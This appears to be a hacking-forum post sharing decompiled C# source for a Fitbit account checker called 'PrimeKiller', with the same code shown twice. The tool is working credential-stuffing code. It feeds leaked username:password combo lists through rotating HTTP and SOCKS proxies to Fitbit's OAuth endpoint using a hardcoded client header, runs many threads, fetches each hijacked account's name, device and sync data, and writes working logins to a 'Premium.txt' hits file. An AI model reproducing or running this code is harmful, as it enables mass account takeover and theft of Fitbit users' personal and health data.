- Joined
- Aug 19, 2023
- Messages
- 911
- Reaction score
- 40,595
- Points
- 93
- Thread Author
- #1
Code:
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Threading;
using System.Threading.Tasks;
using Leaf.xNet;
namespace PrimeKiller
{
// Token: 0x0200000F RID: 15
internal class Fitbit
{
// Token: 0x06000080 RID: 128 RVA: 0x000081AC File Offset: 0x000081AC
public Fitbit(ConcurrentQueue<string> combos, List<string> proxies, string prot)
{
this.coqueue = combos;
this.proqueue = proxies;
this.len = this.coqueue.Count;
this.protocol = prot;
this.currentdirectory = Directory.GetCurrentDirectory();
this.folder = this.currentdirectory + "\\Hits Fitbit\\" + DateTime.Now.ToString("dd-MM-yyyy H.mm");
}
// Token: 0x06000081 RID: 129 RVA: 0x00008244 File Offset: 0x00008244
public void Create()
{
if (!Directory.Exists("Hits Fitbit"))
{
Directory.CreateDirectory("Hits Fitbit");
}
if (!Directory.Exists(this.folder))
{
Directory.CreateDirectory(this.folder);
}
}
// Token: 0x06000082 RID: 130 RVA: 0x00008278 File Offset: 0x00008278
private void Login()
{
if (this.protocol == "HTTP" || this.protocol == "SOCKS4" || this.protocol == "SOCKS5")
{
HttpRequest httpRequest = new HttpRequest
{
UserAgent = "okhttp/4.0.0",
KeepAliveTimeout = 5000,
ConnectTimeout = 5000,
ReadWriteTimeout = 5000,
IgnoreProtocolErrors = true,
AllowAutoRedirect = false,
Proxy = null,
UseCookies = true
};
httpRequest.KeepAlive = true;
while (this.coqueue.Count > 0)
{
string text;
this.coqueue.TryDequeue(out text);
httpRequest.Cookies = null;
string[] array = text.Split(new char[]
{
':'
});
if (httpRequest.Proxy == null)
{
httpRequest.Proxy = ((!(this.protocol == "HTTP")) ? ((!(this.protocol == "SOCKS4")) ? Socks5ProxyClient.Parse(this.proqueue[this.rnd.Next(this.proqueue.Count)]) : Socks4ProxyClient.Parse(this.proqueue[this.rnd.Next(this.proqueue.Count)])) : HttpProxyClient.Parse(this.proqueue[this.rnd.Next(this.proqueue.Count)]));
}
try
{
string str = string.Concat(new string[]
{
"username=",
array[0],
"&password=",
array[1],
"&scope=activity heartrate location nutrition profile settings sleep social weight mfa_ok&grant_type=password"
});
httpRequest.KeepTemporaryHeadersOnRedirect = false;
httpRequest.AddHeader("Authorization", "Basic MjI4VlNSOjQ1MDY4YTc2Mzc0MDRmYzc5OGEyMDhkNmMxZjI5ZTRm");
string text2 = httpRequest.Post("https://android-api.fitbit.com/oauth2/token?session-data={\"os-name\":\"Android\",\"os-version\":\"5.1.1\",\"device-model\":\"LGM-V300K\",\"device-manufacturer\":\"LGE\",\"device-name\":\"\"}", str, "application/x-www-form-urlencoded").ToString();
if (text2.Contains("Invalid username/password") || text2.Contains("Missing parameters") || text2.Contains("plan\":\"\""))
{
this.invalids++;
Globals.LastChecks++;
}
else if (text2.Contains("access_token"))
{
httpRequest.ClearAllHeaders();
string str2 = this.Parse(text2, "access_token\":\"", "\"");
string str3 = this.Parse(text2, "user_id\":\"", "\"");
httpRequest.AddHeader("Authorization", "Bearer " + str2);
string text3 = httpRequest.Get("https://android-api.fitbit.com/1/user/" + str3 + "/devices.json?", null).ToString();
if (text3.Contains("[]"))
{
this.invalids++;
Globals.LastChecks++;
}
else if (text3.Contains("deviceVersion"))
{
string text4 = this.Parse(text3, "deviceVersion\":\"", "\"");
string text5 = this.Parse(text3, "lastSyncTime\":\"", "\"");
httpRequest.AddHeader("Authorization", "Bearer " + str2);
string text6 = httpRequest.Get("https://android-api.fitbit.com/1/user/" + str3 + "/profile.json", null).ToString();
if (text6.Contains("fullName\":\""))
{
string text7 = this.Parse(text6, "fullName\":\"", "\"");
string text8 = this.Parse(text6, "memberSince\":\"", "\"");
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine(string.Concat(new string[]
{
" [+] ",
array[0],
":",
array[1],
" | FullName : ",
text7,
" | memberSince : ",
text8,
" | Device : ",
text4,
" | LastSyncTime : ",
text5,
"| PrimeKiller Checker Discord: PrimeKiller#3629"
}));
this.hits++;
Globals.LastChecks++;
this.Save(array[0], array[1], text7, text8, text4, text5);
}
else
{
this.retries++;
this.coqueue.Enqueue(text);
httpRequest.Proxy = null;
}
}
else
{
this.retries++;
this.coqueue.Enqueue(text);
httpRequest.Proxy = null;
}
}
else
{
this.retries++;
this.coqueue.Enqueue(text);
httpRequest.Proxy = null;
}
}
catch
{
this.retries++;
this.coqueue.Enqueue(text);
httpRequest.Proxy = null;
}
}
httpRequest.Dispose();
}
}
// Token: 0x06000083 RID: 131 RVA: 0x00008744 File Offset: 0x00008744
public void Start()
{
Task.Factory.StartNew(delegate()
{
while (Globals.Working)
{
Fitbit.Cps.TryAdd(DateTimeOffset.Now.ToUnixTimeSeconds(), (long)Globals.LastChecks);
Globals.LastChecks = 0;
Thread.Sleep(1000);
}
});
}
// Token: 0x06000084 RID: 132 RVA: 0x00008770 File Offset: 0x00008770
public void Threading(int amount)
{
ServicePointManager.DefaultConnectionLimit = amount * 2;
ServicePointManager.Expect100Continue = false;
List<Thread> list = new List<Thread>();
list.Add(new Thread(new ThreadStart(this.Info)));
for (int i = 0; i <= amount; i++)
{
Thread item = new Thread(new ThreadStart(this.Login));
list.Add(item);
}
foreach (Thread thread in list)
{
thread.Start();
}
}
// Token: 0x06000085 RID: 133 RVA: 0x0000880C File Offset: 0x0000880C
private void Info()
{
for (;
{
this.checkd = this.hits + this.invalids;
Console.Title = string.Format("Fitbit | Checked {0}/{1} | Hits {2} - Invalids {3} - Retries {4} - Cpm {5} ", new object[]
{
this.checkd,
this.len,
this.hits,
this.invalids,
this.retries,
this.GetCpm()
});
Thread.Sleep(1000);
}
}
// Token: 0x06000086 RID: 134 RVA: 0x000088A4 File Offset: 0x000088A4
private long GetCpm()
{
long num = 0L;
foreach (KeyValuePair<long, long> keyValuePair in Fitbit.Cps)
{
if (keyValuePair.Key >= DateTimeOffset.Now.ToUnixTimeSeconds() - 60L)
{
num += keyValuePair.Value;
}
}
return num;
}
// Token: 0x06000087 RID: 135 RVA: 0x00008914 File Offset: 0x00008914
private string Parse(string source, string left, string right)
{
return source.Split(new string[]
{
left
}, StringSplitOptions.None)[1].Split(new string[]
{
right
}, StringSplitOptions.None)[0];
}
// Token: 0x06000088 RID: 136 RVA: 0x0000893C File Offset: 0x0000893C
private void Save(string user, string passw, string fullName, string memberSince, string Device, string lastSyncTime)
{
object value = string.Concat(new string[]
{
user,
":",
passw,
" | FullName : ",
fullName,
" | memberSince : ",
memberSince,
" | Device : ",
Device,
" | LastSyncTime : ",
lastSyncTime,
"| PrimeKiller Checker Discord: PrimeKiller#3629"
});
string path = this.folder + "\\Premium.txt";
try
{
if (!File.Exists(path))
{
File.Create(path).Close();
}
}
catch (Exception value2)
{
Console.WriteLine(value2);
}
try
{
object writeLock = Fitbit.WriteLock;
lock (writeLock)
{
using (FileStream fileStream = File.Open(path, FileMode.Append))
{
using (StreamWriter streamWriter = new StreamWriter(fileStream))
{
streamWriter.WriteLine(value);
}
}
}
}
catch (Exception value3)
{
Console.WriteLine(value3);
}
}
// Token: 0x040000A1 RID: 161
private static readonly ConcurrentDictionary<long, long> Cps = new ConcurrentDictionary<long, long>();
// Token: 0x040000A2 RID: 162
private static readonly object WriteLock = new object();
// Token: 0x040000A3 RID: 163
private Random rnd = new Random();
// Token: 0x040000A4 RID: 164
private ConcurrentQueue<string> coqueue = new ConcurrentQueue<string>();
// Token: 0x040000A5 RID: 165
private List<string> proqueue = new List<string>();
// Token: 0x040000A6 RID: 166
private string currentdirectory = Directory.GetCurrentDirectory();
// Token: 0x040000A7 RID: 167
private int hits;
// Token: 0x040000A8 RID: 168
private int invalids;
// Token: 0x040000A9 RID: 169
private int retries;
// Token: 0x040000AA RID: 170
private int len;
// Token: 0x040000AB RID: 171
private int checkd;
// Token: 0x040000AC RID: 172
private string protocol;
// Token: 0x040000AD RID: 173
private string folder;
}
}
Popcorn i cant breathe officer
Hidden Content
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Threading;
using System.Threading.Tasks;
using Leaf.xNet;
namespace PrimeKiller
{
// Token: 0x0200000F RID: 15
internal class Fitbit
{
// Token: 0x06000080 RID: 128 RVA: 0x000081AC File Offset: 0x000081AC
public Fitbit(ConcurrentQueue<string> combos, List<string> proxies, string prot)
{
this.coqueue = combos;
this.proqueue = proxies;
this.len = this.coqueue.Count;
this.protocol = prot;
this.currentdirectory = Directory.GetCurrentDirectory();
this.folder = this.currentdirectory + "\\Hits Fitbit\\" + DateTime.Now.ToString("dd-MM-yyyy H.mm");
}
// Token: 0x06000081 RID: 129 RVA: 0x00008244 File Offset: 0x00008244
public void Create()
{
if (!Directory.Exists("Hits Fitbit"))
{
Directory.CreateDirectory("Hits Fitbit");
}
if (!Directory.Exists(this.folder))
{
Directory.CreateDirectory(this.folder);
}
}
// Token: 0x06000082 RID: 130 RVA: 0x00008278 File Offset: 0x00008278
private void Login()
{
if (this.protocol == "HTTP" || this.protocol == "SOCKS4" || this.protocol == "SOCKS5")
{
HttpRequest httpRequest = new HttpRequest
{
UserAgent = "okhttp/4.0.0",
KeepAliveTimeout = 5000,
ConnectTimeout = 5000,
ReadWriteTimeout = 5000,
IgnoreProtocolErrors = true,
AllowAutoRedirect = false,
Proxy = null,
UseCookies = true
};
httpRequest.KeepAlive = true;
while (this.coqueue.Count > 0)
{
string text;
this.coqueue.TryDequeue(out text);
httpRequest.Cookies = null;
string[] array = text.Split(new char[]
{
':'
});
if (httpRequest.Proxy == null)
{
httpRequest.Proxy = ((!(this.protocol == "HTTP")) ? ((!(this.protocol == "SOCKS4")) ? Socks5ProxyClient.Parse(this.proqueue[this.rnd.Next(this.proqueue.Count)]) : Socks4ProxyClient.Parse(this.proqueue[this.rnd.Next(this.proqueue.Count)])) : HttpProxyClient.Parse(this.proqueue[this.rnd.Next(this.proqueue.Count)]));
}
try
{
string str = string.Concat(new string[]
{
"username=",
array[0],
"&password=",
array[1],
"&scope=activity heartrate location nutrition profile settings sleep social weight mfa_ok&grant_type=password"
});
httpRequest.KeepTemporaryHeadersOnRedirect = false;
httpRequest.AddHeader("Authorization", "Basic MjI4VlNSOjQ1MDY4YTc2Mzc0MDRmYzc5OGEyMDhkNmMxZjI5ZTRm");
string text2 = httpRequest.Post("https://android-api.fitbit.com/oauth2/token?session-data={\"os-name\":\"Android\",\"os-version\":\"5.1.1\",\"device-model\":\"LGM-V300K\",\"device-manufacturer\":\"LGE\",\"device-name\":\"\"}", str, "application/x-www-form-urlencoded").ToString();
if (text2.Contains("Invalid username/password") || text2.Contains("Missing parameters") || text2.Contains("plan\":\"\""))
{
this.invalids++;
Globals.LastChecks++;
}
else if (text2.Contains("access_token"))
{
httpRequest.ClearAllHeaders();
string str2 = this.Parse(text2, "access_token\":\"", "\"");
string str3 = this.Parse(text2, "user_id\":\"", "\"");
httpRequest.AddHeader("Authorization", "Bearer " + str2);
string text3 = httpRequest.Get("https://android-api.fitbit.com/1/user/" + str3 + "/devices.json?", null).ToString();
if (text3.Contains("[]"))
{
this.invalids++;
Globals.LastChecks++;
}
else if (text3.Contains("deviceVersion"))
{
string text4 = this.Parse(text3, "deviceVersion\":\"", "\"");
string text5 = this.Parse(text3, "lastSyncTime\":\"", "\"");
httpRequest.AddHeader("Authorization", "Bearer " + str2);
string text6 = httpRequest.Get("https://android-api.fitbit.com/1/user/" + str3 + "/profile.json", null).ToString();
if (text6.Contains("fullName\":\""))
{
string text7 = this.Parse(text6, "fullName\":\"", "\"");
string text8 = this.Parse(text6, "memberSince\":\"", "\"");
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine(string.Concat(new string[]
{
" [+] ",
array[0],
":",
array[1],
" | FullName : ",
text7,
" | memberSince : ",
text8,
" | Device : ",
text4,
" | LastSyncTime : ",
text5,
"| PrimeKiller Checker Discord: PrimeKiller#3629"
}));
this.hits++;
Globals.LastChecks++;
this.Save(array[0], array[1], text7, text8, text4, text5);
}
else
{
this.retries++;
this.coqueue.Enqueue(text);
httpRequest.Proxy = null;
}
}
else
{
this.retries++;
this.coqueue.Enqueue(text);
httpRequest.Proxy = null;
}
}
else
{
this.retries++;
this.coqueue.Enqueue(text);
httpRequest.Proxy = null;
}
}
catch
{
this.retries++;
this.coqueue.Enqueue(text);
httpRequest.Proxy = null;
}
}
httpRequest.Dispose();
}
}
// Token: 0x06000083 RID: 131 RVA: 0x00008744 File Offset: 0x00008744
public void Start()
{
Task.Factory.StartNew(delegate()
{
while (Globals.Working)
{
Fitbit.Cps.TryAdd(DateTimeOffset.Now.ToUnixTimeSeconds(), (long)Globals.LastChecks);
Globals.LastChecks = 0;
Thread.Sleep(1000);
}
});
}
// Token: 0x06000084 RID: 132 RVA: 0x00008770 File Offset: 0x00008770
public void Threading(int amount)
{
ServicePointManager.DefaultConnectionLimit = amount * 2;
ServicePointManager.Expect100Continue = false;
List<Thread> list = new List<Thread>();
list.Add(new Thread(new ThreadStart(this.Info)));
for (int i = 0; i <= amount; i++)
{
Thread item = new Thread(new ThreadStart(this.Login));
list.Add(item);
}
foreach (Thread thread in list)
{
thread.Start();
}
}
// Token: 0x06000085 RID: 133 RVA: 0x0000880C File Offset: 0x0000880C
private void Info()
{
for (;
{
this.checkd = this.hits + this.invalids;
Console.Title = string.Format("Fitbit | Checked {0}/{1} | Hits {2} - Invalids {3} - Retries {4} - Cpm {5} ", new object[]
{
this.checkd,
this.len,
this.hits,
this.invalids,
this.retries,
this.GetCpm()
});
Thread.Sleep(1000);
}
}
// Token: 0x06000086 RID: 134 RVA: 0x000088A4 File Offset: 0x000088A4
private long GetCpm()
{
long num = 0L;
foreach (KeyValuePair<long, long> keyValuePair in Fitbit.Cps)
{
if (keyValuePair.Key >= DateTimeOffset.Now.ToUnixTimeSeconds() - 60L)
{
num += keyValuePair.Value;
}
}
return num;
}
// Token: 0x06000087 RID: 135 RVA: 0x00008914 File Offset: 0x00008914
private string Parse(string source, string left, string right)
{
return source.Split(new string[]
{
left
}, StringSplitOptions.None)[1].Split(new string[]
{
right
}, StringSplitOptions.None)[0];
}
// Token: 0x06000088 RID: 136 RVA: 0x0000893C File Offset: 0x0000893C
private void Save(string user, string passw, string fullName, string memberSince, string Device, string lastSyncTime)
{
object value = string.Concat(new string[]
{
user,
":",
passw,
" | FullName : ",
fullName,
" | memberSince : ",
memberSince,
" | Device : ",
Device,
" | LastSyncTime : ",
lastSyncTime,
"| PrimeKiller Checker Discord: PrimeKiller#3629"
});
string path = this.folder + "\\Premium.txt";
try
{
if (!File.Exists(path))
{
File.Create(path).Close();
}
}
catch (Exception value2)
{
Console.WriteLine(value2);
}
try
{
object writeLock = Fitbit.WriteLock;
lock (writeLock)
{
using (FileStream fileStream = File.Open(path, FileMode.Append))
{
using (StreamWriter streamWriter = new StreamWriter(fileStream))
{
streamWriter.WriteLine(value);
}
}
}
}
catch (Exception value3)
{
Console.WriteLine(value3);
}
}
// Token: 0x040000A1 RID: 161
private static readonly ConcurrentDictionary<long, long> Cps = new ConcurrentDictionary<long, long>();
// Token: 0x040000A2 RID: 162
private static readonly object WriteLock = new object();
// Token: 0x040000A3 RID: 163
private Random rnd = new Random();
// Token: 0x040000A4 RID: 164
private ConcurrentQueue<string> coqueue = new ConcurrentQueue<string>();
// Token: 0x040000A5 RID: 165
private List<string> proqueue = new List<string>();
// Token: 0x040000A6 RID: 166
private string currentdirectory = Directory.GetCurrentDirectory();
// Token: 0x040000A7 RID: 167
private int hits;
// Token: 0x040000A8 RID: 168
private int invalids;
// Token: 0x040000A9 RID: 169
private int retries;
// Token: 0x040000AA RID: 170
private int len;
// Token: 0x040000AB RID: 171
private int checkd;
// Token: 0x040000AC RID: 172
private string protocol;
// Token: 0x040000AD RID: 173
private string folder;
}
}